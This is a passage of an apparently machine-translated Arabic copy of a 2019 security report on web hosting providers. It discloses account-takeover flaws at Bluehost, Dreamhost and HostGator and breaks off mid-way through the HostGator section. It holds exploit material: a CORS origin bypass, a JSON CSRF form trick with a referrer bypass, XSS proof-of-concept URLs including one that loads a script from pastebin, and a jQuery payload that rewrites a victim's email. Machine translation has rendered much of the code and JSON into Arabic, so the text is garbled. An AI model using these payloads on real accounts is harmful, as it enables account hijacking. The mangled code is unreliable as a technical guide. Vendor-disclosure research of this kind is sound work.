تقرير: لقد اختبرنا 5 شركات استضافة ويب مشهورة وتم اختراقها جميعًا بسهولة
مرحبا بك أنت هنا فـ ي موقع استضافة مغربية تشاهد مفالة

نُشر هذا التقرير لأول مرة فـ ي يناير 2019

كان الهدف مـن هذا البحث هو محاولة معرفة ما إذا كانت مواقع الويب مستضافة Bluehost أو Dreamhost أو HostGator أو OVHcloud أو iPage يمكن اختراقها بنقرة واحدة مـن نقاط الضعف مـن جانب العميل. لسوء الحظ ، وجدنا ثغرة أمـنية واحدة عــل ى الأقل مـن جانب العميل فـ ي جميع الأنظمة الأساسية التي اختبرناها ، مما يسمح بالاستيلاء عــل ى الحساب عندما ينقر الضحية عــل ى رابط أو يزور موقع ويب ضارًا.

جميع المـنصات التي اختبرناها هي مزودي خدمات استضافة مشهورين مع عدد كبير مـن المستخدمين. فـ ي موقع Website Planet ، هدفنا هو تزويد القراء بالمراجعات الأكثر صدقًا وإفادة ، والأمان عامل رئيسي. لهذا السبب نقوم بتعيين باحثين أمـنيين ذوي خبرة مـن الوقت مـن وقت لآخر لاختبار الخدمات التي نراجعها. إذا وجدنا ثغرات أمـنية ، فإننا نبلغ البائعين بها حتى يتمكنوا مـن إجراء التحسينات اللازمة.

تم إجراء هذا البحث بواسطة بولوس يبلو، وهو باحث أمـني متمرس اكتشف سابقًا مشكلات فـ ي العديد مـن الأجهزة والبرامج.

Bluehost – الاستيلاء عــل ى حسابات متعددة ونقاط ضعف فـ ي تسرب المعلومات

1. تسرب المعلومات مـن خلال التهيئة الخاطئة لـ CORS

خطورة: عالٍ

تأثير: هذه الثغرة الأمـنية تسمح للمهاجمين بالسرقة:

  1. معلومات التعريف الشخصية (PII) مثل الاسم والموقع (المدينة والشارع والولاية والبلد) ورقم الهاتف والرمز البريدي وما إلى ذلك.
  2. تفاصيل الدفع الجزئي بما فـ ي ذلك شهر انتهاء الصلاحية وسنة بطاقة الائتمان وآخر 4 أرقام مـن بطاقة الائتمان والاسم الموجود عــل ى بطاقة الائتمان ونوع بطاقة الائتمان وطريقة الدفع.
  3. الرموز التي يمكن أن تمـنح حق الوصول إلى مستخدم WordPress و Mojo و SiteLock والعديد مـن نقاط النهاية المدعومة بواسطة OAuth.

Bluehost يستخدم مشاركة الموارد عبر المـنشأ (CORS) لمشاركة الموارد عبر نطاقاتهم. CORS هي آلية لتخفـ يف سياسة المـنشأ نفسها لتمكين الاتصال بين مواقع الويب عبر المتصفحات. مـن المفهوم عــل ى نطاق واسع أن تكوينات معينة لـ CORS تعتبر خطيرة ، ولكن بعض الآثار تكون يساء فهمه بسهولة.

بعد رؤية نقطة نهاية API لـ Bluehost التي تسمح لـ CORS لنطاقات محددة ، بدأنا فـ ي محاولة تجاوز عوامل التصفـ ية لمعرفة مواقع الويب التي يجب السماح لها بالوصول إلى ماذا.

يمكن لمواقع الويب تمكين CORS عن طريق إرسال رؤوس استجابة HTTP التالية:

التحكم فـ ي الوصول والسماح بالأصل:
https://my.bluehost.com/
إذا ظهرت استجابة HTTP أعلاه عــل ى أي موقع ويب ، فإنها تخبر المتصفح بالسماح لـ https://my.bluehost.com بقراءة محتوياته.

فـ ي حالة Bluehost ، رأينا تعبيرًا عاديًا فضفاضًا يقبل قيمًا غامضة. عــل ى سبيل المثال ، إذا كان المتصفح الذي يرسل الطلب يأتي مـن https://my.bluehost.com.evil.com ، فإن Bluehost سيسمح بذلك مـن خلال الرد بـ:

التحكم فـ ي الوصول والسماح بالأصل:
https://my.bluehost.com.evil.com
كما ترى ، قام Bluehost بالتحقق مـن السلاسل الأولى فقط ولم يفكر فـ ي ما جاء بعد Bluehost.com. وهذا يعني أن المهاجمين الخبثاء يمكنهم استضافة مجال فرعي يسمى my.bluehost.com.EVILWEBSITE.com و Bluehost سيسمح لـ EVILWEBSITE.com بقراءة محتوياته.

مـن خلال التصفح عبر Bluehost ، تقوم نقطة نهاية API بإرجاع معلومات “مثيرة” للغاية – مـن معلومات التعريف الشخصية إلى نقاط النهاية التقنية التي يمكنها تسريب الرموز المميزة المختلفة للاستيلاء عــل ى حساب Bluehost مستضاف.

أولاً ، بالانتقال إلى نقطة نهاية / api / users – يمكن للمهاجم تسريب user_id. ثم يمكن للمهاجم استخدام معرف المستخدم هذا للاستعلام عن هذا المستخدم ومحتواه. يمكن للمهاجم أيضًا تسريب قيم مثل البريد الإلكتروني والاسم الأول والأخير ، موقع المستخدم ، وكذلك الرموز المميزة التي يمكن أن تتيح الوصول إلى WordPress و Mojo و SiteLock ونقاط النهاية المختلفة الخاصة بهم.

الصفحة 2 صورة 1

كما ترى أعلاه ، تتم استضافة طلب موقع الويب بالفعل عــل ى evilwebsite.com وليس Bluehost ، لكن استجابة API تسمح له بقراءة بياناته فـ ي استجابته.

2. الاستيلاء عــل ى الحساب بسبب خطأ JSON طلب التحقق مـن CSRF

خطورة: مرتفعة بشكل معتدل

تأثير: تسمح هذه الثغرة الأمـنية للمهاجمين بتغيير عنوان البريد الإلكتروني لأي مستخدم Bluehost إلى العنوان الذي يختارونه ، ثم إعادة تعيين كلمة المرور باستخدام بريدهم الإلكتروني الجديد للوصول الكامل إلى حساب الضحية عندما ينقر الضحية عــل ى رابط واحد أو يزور موقع ويب واحدًا.

يمكن استغلال هذه الثغرة الأمـنية بسبب بعض التكوينات الخاطئة فـ ي معالجة Bluehost للطلبات والتحقق مـن صحتها.

عندما يحاول المستخدمون تغيير بياناتهم الشخصية ، مثل الاسم أو رقم الهاتف أو العنوان أو البريد الإلكتروني ، يرسل Bluehost الطلب التالي:

الصفحة 3 صورة 2

إذا نظرت بعناية ، ستلاحظ عدم وجود رمز مميز فريد يتم إرساله مع هذا الطلب. وهذا يعني أن أي موقع ويب يمكنه بالفعل إرسال الطلب إلى نقطة النهاية المحددة عبر الأصل وتغيير التفاصيل الخاصة بك.

فـ ي العادة ، لن يكون هذا ممكنًا لأن الطلب فـ ي JSON ، وسيحتاج المرء إلى الاستفادة مـن Adobe Flash Player حتى يتمكن مـن إرسال مثل هذه الطلبات – لكننا نعلم جميعًا أن Flash قد توقف. ومع ذلك ، فـ ي حالة Bluehost ، هناك حيل خاصة وتكوينات خاطئة للخادم السماح لها بالعمل فـ ي أي متصفح دون استخدام Flash:

[email protected]"،" city ":" N EW "،" postal_code ":" 0000 "،" مقاطعة ":" WA "،" First_name ":" FirstName "value =" "،" organization ": null}" type = "hidden "ستنشئ شفرة HTML أعلاه طلب JSON مشابهًا للطلب الذي نحتاجه ، {" country ":" US "،" phone ":" + 1.NEWPHONE "،" street1 ":" NEW STREET "،" last_name ": "اسم العائلة" ، "البريد الإلكتروني": "[email protected]"،" city ":" N EW "،" postal_code ":" 0000 "،" مقاطعة ":" WA "،" first_name ":" FirstName = "، Organization": null}

نظرًا لأن المتصفحات تضيف عادةً = (علامة التساوي) فـ ي نهاية اسم الإدخال ، يمكننا معالجة JSON لتضمين علامة المساواة فـ ي الاسم الأول ، وإضافة القيم المتبقية فـ ي سمة “القيمة”: المؤسسة “: فارغ}

كما ترى ، سيتم إرسال الطلب مع نوع المحتوى: نص / عادي و لا التطبيق / json – لكن Bluehost لا يمانع فـ ي ذلك ، مما يجعل استغلالنا يعمل عبر الأصل.

عادة ، يتحقق Bluehost مما إذا كان المجال المرجعي هو bluehost.com – إذا تم إرسال الطلب مـن أي موقع ويب آخر ، فسيرفض Bluehost الطلب باستجابة 500.

يمكن تجاوز ذلك بسهولة عن طريق استخدام المحتوى = “لا يوجد مُحيل” فـ ي العلامة الوصفـ ية ، لأنه إذا لم يتم إرسال أي مُحيل ، فسيسمح Bluehost بالطلب.

3. رجل فـ ي الوسط بسبب التحقق غير المـناسب مـن مخطط CORS

خطورة: متوسط

تأثير: تسمح مشكلة عدم الحصانة هذه للمهاجم داخل شبكة الإنترنت الخاصة بالضحية ، مثل شبكة Wi-Fi العامة أو الشبكة المحلية (LAN) بقراءة محتويات حركة مرور Bluehost المرتبطة بالضحية كنص عادي ، عــل ى الرغم مـن استخدام Bluehost لحركة مرور SSL / HTTPS لتشفـ ير محتوياتها.

تستند هذه الثغرة الأمـنية إلى المشكلة رقم 1 (CORS Misconfiguration) – ولكن بدلاً مـن عدم التحقق مـن النطاق ، فـ ي هذه الحالة ، لا يتحقق Bluehost مـن النظام / البروتوكول عند السماح له بقراءة محتوياته.

صفحة 4 صورة 3

كما ترى فـ ي الرد ، يمـنح Bluehost مجال HTTP لقراءة محتوياته.هذا يخبر المتصفح بالسماح لنطاق HTTP بالوصول إلى محتوياته (غير مشفر) – هذا الهجوم الذي تم إرجاعه إلى إصدار أقدم يجعل استخدام شهادة SSL بواسطة Bluehost عديم الفائدة تمامًا ويتعارض مع الغرض الكامل مـن استخدام طلب HTTPS فـ ي المقام الأول.

4. XSS عــل ى my.bluehost.com يسمح بالاستيلاء عــل ى الحساب

خطورة: مرتفعة بشكل معتدل

تأثير: تسمح هذه الثغرة الأمـنية للمهاجم بتنفـ يذ الأوامر بصفته العميل عــل ى Bluehost.com – وهذا يعني القدرة عــل ى تغيير وتعديل وإضافة المحتوى ، بما فـ ي ذلك عنوان البريد الإلكتروني. يمكن للمهاجم قراءة محتوى عن الضحية ، أو تغيير المحتوى عــل ى موقعه عــل ى الويب عندما ينقر الضحية عــل ى رابط ضار أو يزور أحد مواقع الويب.

صفحة 5 صورة 4

هناك مشكلتان مـنخفضتا التأثير تجعلان هذه الثغرة الأمـنية خطيرة بشكل لا يصدق.الأولى هي أن Bluehost لا يتطلب كلمة مرور حالية عند تغيير عنوان البريد الإلكتروني. وهذا يعني أنه يمكن للمرء ببساطة تغيير عنوان البريد الإلكتروني وإعادة تعيين كلمة المرور باستخدام XSS.

والثاني هو عدم قيام Bluehost بتعيين أي علامات HttpOnly عــل ى ملفات تعريف الارتباط الحساسة الخاصة بهم. وهذا يعني أن أي JavaScript يمكنه الوصول إليها وإرسالها إلى مهاجم ضار ، ويمكن للمهاجم استخدام ملفات تعريف الارتباط هذه للمصادقة كمستخدم.

PoC: https://my.bluehost.com/cgi/dm/subdomain/redirect؟domainkey= “

Dreamhost XSS ونقاط الضعف فـ ي الكشف عن المعلومات

1. الاستيلاء عــل ى الحساب عبر XSS

خطورة: مرتفعة بشكل معتدل

تأثير: تسمح هذه الثغرة الأمـنية للمهاجم بتغيير البريد الإلكتروني أو كلمة المرور الخاصة بالضحية بسهولة إلى أي شيء يرغب فـ يه عندما يزور الضحية رابطًا أو موقع ويب ضارًا.

الحمولة:

https://panel.dreamhost.com/tree=domain.manage¤t_step=Index&next_step=ShowAddhttp&domain=:lol “

يمكن أن يمتد هذا إلى الاستيلاء عــل ى الحساب بسبب DreamHost لا يطلب كلمة مرور لتغيير عنوان بريدك الإلكتروني ، لذلك يمكن للمهاجم ببساطة تنفـ يذ هجوم CSRF باستخدام ثغرة XSS هذه للسيطرة عــل ى أي حساب.

.ajax $ ({
url: "https://panel.dreamhost.com/id/؟tab=contact&command=edit"،
الطريقة: "POST" ،
نوع البيانات: "html" ،
النجاح: الوظيفة (الاستجابة)
{
var security_cookie =
$ (response) .find ("input[name="security_cookie"]") .val () ؛
$ .post ("https://panel.dreamhost.com/id/؟"، {علامة التبويب: "contact"،
الأمر: "submit_edit" ، security_cookie: security_cookie ، بادئة: "" ، أولاً
: "سانتا" ، الوسط: "" ، الأخير: "بلو" ، اللاحقة: "" ، الشارع 1: "نوريت 103" ،
street2: "" ، المدينة: "Ora" ، الولاية: "jerusalem" ، الرمز البريدي: "90880" ، البلد:
"IL" ، البريد الإلكتروني: "[email protected]"، هاتف:" + 954.8888777 "، فاكس:" "، دردشة:" "،
twitter: ""، url: ""}). تم (الوظيفة (البيانات) {
console.log (البيانات) ؛
}) ؛
console.log (security_cookie) ؛
} ،
خطأ: وظيفة (خطأ)
{
console.log (خطأ $) ؛
}
}) ؛

JavaScript أعلاه ، عند تنفـ يذه بواسطة panel.dreamhost.com ، يغير عنوان البريد الإلكتروني الذي تم تسجيل الدخول إليه إلى [email protected] – يمكن القيام بذلك مـن خلال ثغرة XSS الخاصة بنا.

https://panel.dreamhost.com/tree=domain.manage¤t_step=Index&next_step=ShowAddhttp&domain=:lol٪22٪3E٪0A٪3Cscript٪20async٪20src=٪22//pastebin.com/raw/65CayjA7٪22 ٪ 3E٪ 3C / نصي٪ 3E٪ 0A٪ 3Cscript٪ 3E٪ 20 متغير٪ 20x٪ 20 =٪ 20٪ 22 / *

عندما يزور الضحية الرابط أعلاه بأي حال مـن الأحوال ، فسيغير عنوان بريده الإلكتروني إلى المهاجمين.

تحقق مـن الفـ يديو هنا:

الكشف عن معلومات HostGator ونقاط الضعف المتعددة

1. تجاوز حماية CSRF عــل ى مستوى الموقع مما يسمح بالتحكم الكامل

خطورة: عالٍ

تأثير: توجد هذه الثغرة الأمـنية فـ ي جميع أنحاء قسم حساب المستخدم عــل ى موقع الويب.يمكن للمهاجم إضافة أو تعديل أو تغيير أي قيمة فـ ي ملف تعريف الضحية ، بما فـ ي ذلك عنوان البريد الإلكتروني والمعلومات الشخصية ، عندما ينقر الضحية عــل ى رابط أو يزور موقع ويب ضارًا.

HostGator يستخدم عادةً الرموز المميزة المضادة لـ CSRF مع أي عمليات إرسال للنموذج. ومع ذلك ، يمكن خداع الخادم لتجاهل الرموز المميزة المضادة لـ CSRF عن طريق تغيير الرمز المميز لمعامل POST[]= وتركه فارغًا – يتيح ذلك اجتياز فحص CSRF عــل ى أنه صحيح. أظن أن هذا قد يكون ثغرة أمـنية مـن نوع Type Juggling ، مع عينة شفرة زائفة:

إذا (strcasecmp ($ _ GET['token']، "$ csrf_token") == 0) ...